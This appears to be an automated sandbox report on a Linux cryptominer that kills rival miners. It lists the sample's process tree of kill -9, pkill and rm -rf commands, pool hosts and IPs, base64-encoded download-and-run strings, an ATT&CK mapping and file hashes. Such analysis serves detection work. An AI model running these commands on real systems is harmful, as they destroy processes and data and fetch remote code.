/bin/grepgrep 83.220.169.2472⤵PID:1505
-
-
/bin/grepgrep -v grep2⤵PID:1504
-
-
/bin/psps aux2⤵
- Process Discovery
- Reads runtime system information
PID:1503
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1512
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1511
-
-
/bin/grepgrep 51.38.203.1462⤵PID:1510
-
-
/bin/grepgrep -v grep2⤵PID:1509
-
-
/bin/psps aux2⤵
- Process Discovery
- Reads runtime system information
PID:1508
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1517
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1516
-
-
/bin/grepgrep 144.217.45.452⤵PID:1515
-
-
/bin/grepgrep -v grep2⤵PID:1514
-
-
/bin/psps aux2⤵PID:1513
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1522
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1521
-
-
/bin/grepgrep 107.174.47.1812⤵PID:1520
-
-
/bin/grepgrep -v grep2⤵PID:1519
-
-
/bin/psps aux2⤵
- Process Discovery
PID:1518
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1527
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1526
-
-
/bin/grepgrep 176.31.6.162⤵PID:1525
-
-
/bin/grepgrep -v grep2⤵PID:1524
-
-
/bin/psps aux2⤵
- Process Discovery
PID:1523
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1532
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1531
-
-
/bin/grepgrep mine.moneropool.com2⤵PID:1530
-
-
/bin/grepgrep -v grep2⤵PID:1529
-
-
/bin/psps auxf2⤵PID:1528
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1537
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1536
-
-
/bin/grepgrep pool.t00ls.ru2⤵PID:1535
-
-
/bin/grepgrep -v grep2⤵PID:1534
-
-
/bin/psps auxf2⤵PID:1533
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1542
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1541
-
-
/bin/grepgrep xmr.crypto-pool.fr:80802⤵PID:1540
-
-
/bin/grepgrep -v grep2⤵PID:1539
-
-
/bin/psps auxf2⤵
- Reads CPU attributes
PID:1538
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1547
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1546
-
-
/bin/grepgrep xmr.crypto-pool.fr:33332⤵PID:1545
-
-
/bin/grepgrep -v grep2⤵PID:1544
-
-
/bin/psps auxf2⤵
- Reads CPU attributes
PID:1543
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1552
-
-
/bin/grepPID:1550
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1551
-
-
/bin/grepgrep -v grep2⤵PID:1549
-
-
/bin/psps auxf2⤵PID:1548
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1557
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1556
-
-
/bin/grepgrep monerohash.com2⤵PID:1555
-
-
/bin/grepgrep -v grep2⤵PID:1554
-
-
/bin/psps auxf2⤵
- Reads CPU attributes
PID:1553
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1562
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1561
-
-
/bin/grepgrep /tmp/a7b104c2702⤵PID:1560
-
-
/bin/grepgrep -v grep2⤵PID:1559
-
-
/bin/psps auxf2⤵
- Reads runtime system information
PID:1558
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1567
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1566
-
-
/bin/grepgrep xmr.crypto-pool.fr:66662⤵PID:1565
-
-
/bin/grepgrep -v grep2⤵PID:1564
-
-
/bin/psps auxf2⤵
- Reads CPU attributes
PID:1563
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1572
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1571
-
-
/bin/grepgrep xmr.crypto-pool.fr:77772⤵PID:1570
-
-
/bin/grepgrep -v grep2⤵PID:1569
-
-
/bin/psps auxf2⤵
- Reads runtime system information
PID:1568
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1577
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1576
-
-
/bin/grepgrep xmr.crypto-pool.fr:4432⤵PID:1575
-
-
/bin/grepgrep -v grep2⤵PID:1574
-
-
/bin/psps auxf2⤵
- Reads CPU attributes
PID:1573
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1582
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1581
-
-
/bin/grepgrep stratum.f2pool.com:88882⤵PID:1580
-
-
/bin/grepgrep -v grep2⤵PID:1579
-
-
/bin/psps auxf2⤵PID:1578
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1587
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1586
-
-
/bin/grepgrep xmrpool.eu2⤵PID:1585
-
-
/bin/grepgrep -v grep2⤵PID:1584
-
-
/bin/psps auxf2⤵PID:1583
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1592
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1591
-
-
/bin/grepgrep kieuanilam.me2⤵PID:1590
-
-
/bin/grepgrep -v grep2⤵PID:1589
-
-
/bin/psps auxf2⤵
- Reads runtime system information
PID:1588
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1595
-
-
/bin/psps auxf2⤵PID:1593
-
-
/bin/grepgrep xiaoyao2⤵PID:1594
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1596
-
/usr/local/sbin/killkill -9 15943⤵PID:1597
-
-
/usr/local/bin/killkill -9 15943⤵PID:1597
-
-
/usr/sbin/killkill -9 15943⤵PID:1597
-
-
/usr/bin/killkill -9 15943⤵PID:1597
-
-
/sbin/killkill -9 15943⤵PID:1597
-
-
/bin/killkill -9 15943⤵PID:1597
-
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1601
-
/usr/local/sbin/killkill -9 15993⤵PID:1602
-
-
/usr/local/bin/killkill -9 15993⤵PID:1602
-
-
/usr/sbin/killkill -9 15993⤵PID:1602
-
-
/usr/bin/killkill -9 15993⤵PID:1602
-
-
/sbin/killkill -9 15993⤵PID:1602
-
-
/bin/killkill -9 15993⤵PID:1602
-
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1600
-
-
/bin/grepgrep xiaoxue2⤵PID:1599
-
-
/bin/psps auxf2⤵PID:1598
-
-
/bin/grepgrep 46.243.253.152⤵PID:1604
-
-
/usr/bin/awkawk "{print \$7}"2⤵PID:1606
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1608
-
-
/bin/grepgrep "ESTABLISHED\\|SYN_SENT"2⤵PID:1605
-
-
/bin/sedsed -e "s/\\/.*//g"2⤵PID:1607
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1614
-
-
/bin/sedsed -e "s/\\/.*//g"2⤵PID:1613
-
-
/usr/bin/awkawk "{print \$7}"2⤵PID:1612
-
-
/bin/grepgrep "ESTABLISHED\\|SYN_SENT"2⤵PID:1611
-
-
/bin/grepgrep 176.31.6.162⤵PID:1610
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1616
-
-
/usr/bin/pgreppgrep -f L2Jpbi9iYXN2⤵
- Reads CPU attributes
PID:1615
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1618
-
-
/usr/bin/pgreppgrep -f xzpauectgr2⤵PID:1617
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1620
-
-
/usr/bin/pgreppgrep -f slxfbkmxtd2⤵PID:1619
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1622
-
-
/usr/bin/pgreppgrep -f mixtape2⤵PID:1621
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1624
-
-
/usr/bin/pgreppgrep -f addnj2⤵PID:1623
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1626
-
-
/usr/bin/pgreppgrep -f 200.68.17.1962⤵PID:1625
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1628
-
-
/usr/bin/pgreppgrep -f IyEvYmluL3NoCgpzUG2⤵PID:1627
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1630
-
-
/usr/bin/pgreppgrep -f KHdnZXQgLXFPLSBodHRw2⤵
- Reads CPU attributes
PID:1629
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1632
-
-
/usr/bin/pgreppgrep -f FEQ3eSp8omko5nx9e97hQ39NS3NMo6rxVQS32⤵PID:1631
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1634
-
-
/usr/bin/pgreppgrep -f Y3VybCAxOTEuMTAxLjE4MC43Ni9saW4udHh0IHxzaAo2⤵PID:1633
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1636
-
-
/usr/bin/pgreppgrep -f mwyumwdbpq.conf2⤵PID:1635
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1638
-
-
/usr/bin/pgreppgrep -f honvbsasbf.conf2⤵
- Reads CPU attributes
PID:1637
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1640
-
-
/usr/bin/pgreppgrep -f mqdsflm.cf2⤵PID:1639
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1642
-
-
/usr/bin/pgreppgrep -f lower.sh2⤵PID:1641
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1644
-
-
/usr/bin/pgreppgrep -f ./ppp2⤵
- Reads CPU attributes
PID:1643
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1646
-
-
/usr/bin/pgreppgrep -f cryptonight2⤵PID:1645
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1648
-
-
/usr/bin/pgreppgrep -f ./seervceaess2⤵PID:1647
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1650
-
-
/usr/bin/pgreppgrep -f ./servceaess2⤵
- Reads CPU attributes
PID:1649
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1652
-
-
/usr/bin/pgreppgrep -f ./servceas2⤵PID:1651
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1654
-
-
/usr/bin/pgreppgrep -f ./servcesa2⤵PID:1653
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1656
-
-
/usr/bin/pgreppgrep -f ./vsp2⤵PID:1655
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1658
-
-
/usr/bin/pgreppgrep -f ./jvs2⤵
- Reads CPU attributes
- Reads runtime system information
PID:1657
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1660
-
-
/usr/bin/pgreppgrep -f ./pvv2⤵PID:1659
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1662
-
-
/usr/bin/pgreppgrep -f ./vpp2⤵PID:1661
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1664
-
-
/usr/bin/pgreppgrep -f ./pces2⤵
- Reads CPU attributes
PID:1663
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1666
-
-
/usr/bin/pgreppgrep -f ./rspce2⤵PID:1665
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1668
-
-
/usr/bin/pgreppgrep -f ./haveged2⤵PID:1667
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1670
-
-
/usr/bin/pgreppgrep -f ./jiba2⤵PID:1669
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1672
-
-
/usr/bin/pgreppgrep -f ./watchbog2⤵
- Reads CPU attributes
PID:1671
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1674
-
-
/usr/bin/pgreppgrep -f ./A7mA5gb2⤵PID:1673
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1676
-
-
/usr/bin/pgreppgrep -f kacpi_svc2⤵
- Reads CPU attributes
PID:1675
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1678
-
-
/usr/bin/pgreppgrep -f kswap_svc2⤵PID:1677
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1680
-
-
/usr/bin/pgreppgrep -f kauditd_svc2⤵PID:1679
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1682
-
-
/usr/bin/pgreppgrep -f kpsmoused_svc2⤵
- Reads runtime system information
PID:1681
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1684
-
-
/usr/bin/pgreppgrep -f kseriod_svc2⤵PID:1683
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1686
-
-
/usr/bin/pgreppgrep -f kthreadd_svc2⤵
- Reads CPU attributes
PID:1685
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1688
-
-
/usr/bin/pgreppgrep -f ksoftirqd_svc2⤵PID:1687
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1690
-
-
/usr/bin/pgreppgrep -f kintegrityd_svc2⤵PID:1689
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1692
-
-
/usr/bin/pgreppgrep -f jawa2⤵
- Reads CPU attributes
PID:1691
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1694
-
-
/usr/bin/pgreppgrep -f oracle.jpg2⤵
- Reads runtime system information
PID:1693
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1696
-
-
/usr/bin/pgreppgrep -f 45cToD1FzkjAxHRBhYKKLg5utMGEN2⤵
- Reads CPU attributes
PID:1695
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1698
-
-
/usr/bin/pgreppgrep -f 188.209.49.542⤵
- Reads CPU attributes
PID:1697
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1700
-
-
/usr/bin/pgreppgrep -f 181.214.87.2412⤵PID:1699
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1702
-
-
/usr/bin/pgreppgrep -f etnkFgkKMumdqhrqxZ6729U7bY8pzRjYzGbXa5sDQ2⤵PID:1701
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1704
-
-
/usr/bin/pgreppgrep -f 47TdedDgSXjZtJguKmYqha4sSrTvoPXnrYQEq2Lbj2⤵PID:1703
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1706
-
-
/usr/bin/pgreppgrep -f etnkP9UjR55j9TKyiiXWiRELxTS51FjU9e1UapXyK2⤵PID:1705
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1708
-
-
/usr/bin/pgreppgrep -f servim2⤵
- Reads CPU attributes
PID:1707
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1710
-
-
/usr/bin/pgreppgrep -f kblockd_svc2⤵PID:1709
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1712
-
-
/usr/bin/pgreppgrep -f native_svc2⤵PID:1711
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1714
-
-
/usr/bin/pgreppgrep -f ynn2⤵PID:1713
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1716
-
-
/usr/bin/pgreppgrep -f 65ccEJ72⤵PID:1715
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1718
-
-
/usr/bin/pgreppgrep -f jmxx2⤵PID:1717
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1720
-
-
/usr/bin/pgreppgrep -f 2Ne80nA2⤵
- Reads runtime system information
PID:1719
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1722
-
-
/usr/bin/pgreppgrep -f sysstats2⤵PID:1721
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1724
-
-
/usr/bin/pgreppgrep -f systemxlv2⤵PID:1723
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1726
-
-
/usr/bin/pgreppgrep -f watchbog2⤵
- Reads CPU attributes
PID:1725
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1728
-
-
/usr/bin/pgreppgrep -f OIcJi1m2⤵
- Reads runtime system information
PID:1727
-
-
/usr/bin/pkillpkill -f biosetjenkins2⤵
- Reads runtime system information
PID:1729
-
-
/usr/bin/pkillpkill -f Loopback2⤵
- Reads runtime system information
PID:1730
-
-
/usr/bin/pkillpkill -f apaceha2⤵PID:1731
-
-
/usr/bin/pkillpkill -f cryptonight2⤵
- Reads CPU attributes
PID:1732
-
-
/usr/bin/pkillpkill -f mixnerdx2⤵PID:1733
-
-
/usr/bin/pkillpkill -f performedl2⤵PID:1734
-
-
/usr/bin/pkillpkill -f JnKihGjn2⤵
- Reads CPU attributes
PID:1735
-
-
/usr/bin/pkillpkill -f irqba2anc12⤵
- Reads CPU attributes
PID:1736
-
-
/usr/bin/pkillpkill -f irqba5xnc12⤵PID:1737
-
-
/usr/bin/pkillpkill -f irqbnc12⤵PID:1738
-
-
/usr/bin/pkillpkill -f ir29xc12⤵PID:1739
-
-
/usr/bin/pkillpkill -f conns2⤵PID:1740
-
-
/usr/bin/pkillpkill -f irqbalance2⤵PID:1741
-
-
/usr/bin/pkillpkill -f crypto-pool2⤵
- Reads CPU attributes
PID:1742
-
-
/usr/bin/pkillpkill -f XJnRj2⤵
- Reads CPU attributes
- Reads runtime system information
PID:1743
-
-
/usr/bin/pkillpkill -f mgwsl2⤵PID:1744
-
-
/usr/bin/pkillpkill -f pythno2⤵PID:1745
-
-
/usr/bin/pkillpkill -f jweri2⤵PID:1746
-
-
/usr/bin/pkillpkill -f lx262⤵
- Reads CPU attributes
PID:1747
-
-
/usr/bin/pkillpkill -f NXLAi2⤵PID:1748
-
-
/usr/bin/pkillpkill -f BI5zj2⤵PID:1749
-
-
/usr/bin/pkillpkill -f askdljlqw2⤵
- Reads runtime system information
PID:1750
-
-
/usr/bin/pkillpkill -f minerd2⤵PID:1751
-
-
/usr/bin/pkillpkill -f minergate2⤵PID:1752
-
-
/usr/bin/pkillpkill -f Guard.sh2⤵PID:1753
-
-
/usr/bin/pkillpkill -f ysaydh2⤵
- Reads CPU attributes
PID:1754
-
-
/usr/bin/pkillpkill -f bonns2⤵
- Reads runtime system information
PID:1755
-
-
/usr/bin/pkillpkill -f donns2⤵PID:1756
-
-
/usr/bin/pkillpkill -f kxjd2⤵PID:1757
-
-
/usr/bin/pkillpkill -f Duck.sh2⤵PID:1758
-
-
/usr/bin/pkillpkill -f bonn.sh2⤵
- Reads runtime system information
PID:1759
-
-
/usr/bin/pkillpkill -f conn.sh2⤵PID:1760
-
-
/usr/bin/pkillpkill -f kworker342⤵PID:1761
-
-
/usr/bin/pkillpkill -f kw.sh2⤵PID:1762
-
-
/usr/bin/pkillpkill -f pro.sh2⤵PID:1763
-
-
/usr/bin/pkillpkill -f polkitd2⤵PID:1764
-
-
/usr/bin/pkillpkill -f acpid2⤵PID:1765
-
-
/usr/bin/pkillpkill -f icb5o2⤵PID:1766
-
-
/usr/bin/pkillpkill -f nopxi2⤵
- Reads runtime system information
PID:1767
-
-
/usr/bin/pkillpkill -f irqbalanc12⤵
- Reads CPU attributes
- Reads runtime system information
PID:1768
-
-
/usr/bin/pkillpkill -f minerd2⤵PID:1769
-
-
/usr/bin/pkillpkill -f i5862⤵PID:1770
-
-
/usr/bin/pkillpkill -f gddr2⤵
- Reads CPU attributes
PID:1771
-
-
/usr/bin/pkillpkill -f mstxmr2⤵
- Reads runtime system information
PID:1772
-
-
/usr/bin/pkillpkill -f ddg.20112⤵PID:1773
-
-
/usr/bin/pkillpkill -f wnTKYg2⤵PID:1774
-
-
/usr/bin/pkillpkill -f deamon2⤵PID:1775
-
-
/usr/bin/pkillpkill -f disk_genius2⤵PID:1776
-
-
/usr/bin/pkillpkill -f sourplum2⤵
- Reads CPU attributes
PID:1777
-
-
/usr/bin/pkillpkill -f polkitd2⤵PID:1778
-
-
/usr/bin/pkillpkill -f nanoWatch2⤵
- Reads CPU attributes
- Reads runtime system information
PID:1779
-
-
/usr/bin/pkillpkill -f zigw2⤵PID:1780
-
-
/usr/bin/pkillpkill -f devtool2⤵PID:1781
-
-
/usr/bin/pkillpkill -f devtools2⤵PID:1782
-
-
/usr/bin/pkillpkill -f systemctI2⤵
- Reads CPU attributes
PID:1783
-
-
/usr/bin/pkillpkill -f watchbog2⤵PID:1784
-
-
/usr/bin/pkillpkill -f cryptonight2⤵
- Reads CPU attributes
PID:1785
-
-
/usr/bin/pkillpkill -f sustes2⤵PID:1786
-
-
/usr/bin/pkillpkill -f xmrig2⤵PID:1787
-
-
/usr/bin/pkillpkill -f xmrig-cpu2⤵
- Reads runtime system information
PID:1788
-
-
/usr/bin/pkillpkill -f 121.42.151.1372⤵PID:1789
-
-
/usr/bin/pkillpkill -f init12.cfg2⤵
- Reads runtime system information
PID:1790
-
-
/usr/bin/pkillpkill -f nginxk2⤵PID:1791
-
-
/usr/bin/pkillpkill -f tmp/wc.conf2⤵PID:1792
-
-
/usr/bin/pkillpkill -f xmrig-notls2⤵
- Reads CPU attributes
PID:1793
-
-
/usr/bin/pkillpkill -f xmr-stak2⤵PID:1794
-
-
/usr/bin/pkillpkill -f suppoie2⤵PID:1795
-
-
/usr/bin/pkillpkill -f zer0day.ru2⤵PID:1796
-
-
/usr/bin/pkillpkill -f dbus-daemon--system2⤵PID:1797
-
-
/usr/bin/pkillpkill -f nullcrew2⤵PID:1798
-
-
/usr/bin/pkillpkill -f systemctI2⤵
- Reads CPU attributes
PID:1799
-
-
/usr/bin/pkillpkill -f kworkerds2⤵
- Reads CPU attributes
PID:1800
-
-
/usr/bin/pkillpkill -f init10.cfg2⤵PID:1801
-
-
/usr/bin/pkillpkill -f /wl.conf2⤵
- Reads runtime system information
PID:1802
-
-
/usr/bin/pkillpkill -f crond642⤵PID:1803
-
-
/usr/bin/pkillpkill -f sustse2⤵PID:1804
-
-
/usr/bin/pkillpkill -f vmlinuz2⤵
- Reads CPU attributes
PID:1805
-
-
/usr/bin/pkillpkill -f exin2⤵PID:1806
-
-
/usr/bin/pkillpkill -f apachiii2⤵PID:1807
-
-
/usr/bin/pkillpkill -f svcworkmanager2⤵PID:1808
-
-
/usr/bin/pkillpkill -f xr2⤵PID:1809
-
-
/usr/bin/pkillpkill -f trace2⤵
- Reads runtime system information
PID:1810
-
-
/usr/bin/pkillpkill -f svcupdate2⤵PID:1811
-
-
/usr/bin/pkillpkill -f networkmanager2⤵PID:1812
-
-
/usr/bin/pkillpkill -f phpupdate2⤵
- Reads CPU attributes
PID:1813
-
-
/bin/rmrm -rf /usr/bin/config.json2⤵PID:1814
-
-
/bin/rmrm -rf /usr/bin/exin2⤵PID:1815
-
-
/bin/rmrm -rf /tmp/wc.conf2⤵PID:1816
-
-
/bin/rmrm -rf /tmp/log_rot2⤵PID:1817
-
-
/bin/rmrm -rf /tmp/apachiii2⤵PID:1818
-
-
/bin/rmrm -rf /tmp/sustse2⤵PID:1819
-
-
/bin/rmrm -rf /tmp/php2⤵PID:1820
-
-
/bin/rmrm -rf /tmp/p2.conf2⤵PID:1821
-
-
/bin/rmrm -rf /tmp/pprt2⤵PID:1822
-
-
/bin/rmrm -rf /tmp/ppol2⤵PID:1823
-
-
/bin/rmrm -rf /tmp/javax/config.sh2⤵PID:1824
-
-
/bin/rmrm -rf /tmp/javax/sshd22⤵PID:1825
-
-
/bin/rmrm -rf /tmp/.profile2⤵PID:1826
-
-
/bin/rmrm -rf /tmp/1.so2⤵PID:1827
-
-
/bin/rmrm -rf /tmp/kworkerds2⤵PID:1828
-
Network
MITRE ATT&CK Enterprise v15
Persistence
Account Manipulation
1SSH Authorized Keys
1Scheduled Task/Job
1Cron
1Privilege Escalation
Account Manipulation
1SSH Authorized Keys
1Scheduled Task/Job
1Cron
1Defense Evasion
File and Directory Permissions Modification
1Linux and Mac File and Directory Permissions Modification
1Impair Defenses
1Disable or Modify System Firewall
1Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
13B
MD53d47b8e895a71930bda5d4f3d8fc8589
SHA1efbaf468b81abb6b465ca12f35fa067bae1b4f10
SHA256be167c52e59f0a02ca6841074d9e73205b2f7898ad73d405c7b96f9efb440c36
SHA512bd109ac68d85a8451187e31b8ec62dbc062d3fa2aab866928b094b64318912c7056f42ca363b01af74b1898f84d2675f3099d1aab72140b6ba932a16257aa5eb
-
Filesize
52B
MD5f668da8f0525cbe5a545869cb5776913
SHA1996e6afed4498ff8a92a64330de018141af102c9
SHA256db7a08cba996d62b1fe07727ba58b98d7b59778bd7227c9b7fd69bc587d2557f
SHA512f918ba58e9af19704344c92ec356d215080f47d66b175f3d712d31e54e1b9e4e46daeb0556d82b0722ae01b8cfe456f08021e73b053ced6326735e1d0b73c700
-
Filesize
56B
MD5896f6d504f181bd883a90b84069bcf70
SHA186fd682d1932d9e14461796e5f0fe776b8ce9d5c
SHA256b6eec955fd5b0e9ddf43ef55b7fe74075cc1a935ab896d5cd0a55429ef0d6d25
SHA5121f705ceead76868a79abb7ea42efad35e37b95421bfc81ce4540e4beeb7cbc0ccadfaae85794b6945c93304da9948d9d63504f9377ca3e92b874cc3f691d3c1a
-
Filesize
53B
MD56956a4d6a2444151c11a73517215cb34
SHA1b279ad496f640f44418aa7e5e27a4d458bddb7fb
SHA256561941bdd6305a389e688a1214acd9163478301738158f13349ea403dfae300c
SHA512ee1a27243159cf9aa99ed0ff79ae1f6d66c698f668e0c233544f1a79aab5bb8ca6edb051d907aef8b50ff85f39aa41b21e951476c3a53b6a85a7a06adc28ed8d
-
Filesize
53B
MD589e54ac293f5d8687ddd68f3d0574a53
SHA12353118da29faab45571118fee232a8ca9d5f818
SHA2566799c463b1bec4784078ec31bd11a43609dafcc6cfc58ecb16819e1fd55219a3
SHA51287ed4b3def516fce45ba5aab199b9ed9850f70d383284945445077d71a778c5c01519f45e992d8cf171594d88dd7a241d52b82548668372fb569c4b325a680fc
-
Filesize
50B
MD5b2ecca8d419b5c3fa2ee7621efa75eb7
SHA13adc58bd314dea94eebfd1582ffc8bbbb5cfb34e
SHA256e15357c9d6df46a6b43036e8f646311f88019e587b8d55a8aecfa438cd971545
SHA512c6a7d05b7f615de3946055be8a4995c0fb8c670fe53c8a8dcba98f32c2ec4cb92a93524aebaca97c9b6e8696b71bdc2114d6ec303bff4ec288745bae15522e69
-
Filesize
2B
MD5b026324c6904b2a9cb4b88d6d61c81d1
SHA1e5fa44f2b31c1fb553b6021e7360d07d5d91ff5e
SHA2564355a46b19d348dc2f57c046f8ef63d4538ebb936000f3c9ee954a27460dd865
SHA5123abb6677af34ac57c0ca5828fd94f9d886c26ce59a8ce60ecf6778079423dccff1d6f19cb655805d56098e6d38a1a710dee59523eed7511e5a9e4b8ccb3a4686
-
Filesize
9B
MD5970d39f8690eff0fe573e7bcf51bda9b
SHA146f8f835d3d3d41f063d0e8346260bb622b01a3f
SHA2567e3735835710cbbb54a0bee4a323c83c54cb1f4f60463b9cf88006946fe2b9a5
SHA51224952be3e8e47ffb4ee83d55f513edf041f6c4e420e2f52bdbdf0daee4c5735ad3ee5ed863f95ffa931a70d551590a7fe6ae67dc22f32060793e2525e4b56cd0
-
Filesize
1B
MD568b329da9893e34099c7d8ad5cb9c940
SHA1adc83b19e793491b1c6ea0fd8b46cd9f32e592fc
SHA25601ba4719c80b6fe911b091a7c05124b64eeece964e09c058ef8f9805daca546b
SHA512be688838ca8686e5c90689bf2ab585cef1137c999b48c70b92f67a5c34dc15697b5d11c982ed6d71be1e1e7f7b4e0733884aa97c3f7a339a8ed03577cf74be09
-
Filesize
399B
MD53d5c3dc8af5c58f2196d3230dc2e49fb
SHA1e3ab4d81f3c4275d59ae9304612bc0b739af0f26
SHA256a880448cdde610e7f9d700ff33084fb7e0ce053a49098d450bee44c4a08fe181
SHA512ca408a3a8e3d77c247ddfcd2f88e3b20c21187aafe6a605059eabbfd9c3a296ec5d9949166e78a76689716e814de3197eb519e76e8ba9fa8e5992f1a7f13f8cb